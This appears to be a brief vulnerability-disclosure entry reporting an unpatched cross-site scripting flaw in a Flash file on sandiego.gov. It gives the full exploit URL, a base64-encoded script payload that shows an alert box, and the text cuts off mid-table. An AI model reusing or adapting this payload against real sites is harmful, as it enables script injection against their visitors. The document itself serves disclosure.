sandiego.gov XSS vulnerability

Vulnerable URL: https://www.sandiego.gov/sites/default/files/legacy/coo/2016highlights/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg==&cfwaftk=042437002UjFXxFQ2VsadXjZGy4EHwOwvPBs Details: Description| Value ---|--- Patched:| No Latest...